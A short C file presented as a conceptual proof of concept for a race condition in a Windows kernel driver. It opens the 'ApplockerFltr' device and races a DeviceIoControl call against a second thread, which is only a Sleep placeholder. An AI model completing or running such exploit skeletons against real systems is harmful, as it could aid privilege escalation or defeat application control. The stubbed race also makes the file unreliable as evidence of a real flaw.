#include <windows.h>
#include <stdio.h>
// Conceptual PoC for Race Condition in Kernel Driver
HANDLE hDevice;
DWORD WINAPI Thread1(LPVOID lpParam) {
// Trigger the vulnerable operation in the driver
DWORD bytesReturned;
DeviceIoControl(hDevice, 0x222003, NULL, 0, NULL, 0, &bytesReturned, NULL);
return 0;
}
DWORD WINAPI Thread2(LPVOID lpParam) {
// Modify the shared resource during the race window
// This might involve freeing an object or changing a pointer
while (TRUE) {
// Simulate modification
Sleep(1);
}
return 0;
}
int main() {
// Open handle to the vulnerable driver
hDevice = CreateFileA("\\\\.\\ApplockerFltr", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device.\n");
return 1;
}
// Create threads to exploit race condition
HANDLE hThreads[2];
hThreads[0] = CreateThread(NULL, 0, Thread1, NULL, 0, NULL);
hThreads[1] = CreateThread(NULL, 0, Thread2, NULL, 0, NULL);
WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);
CloseHandle(hDevice);
return 0;
}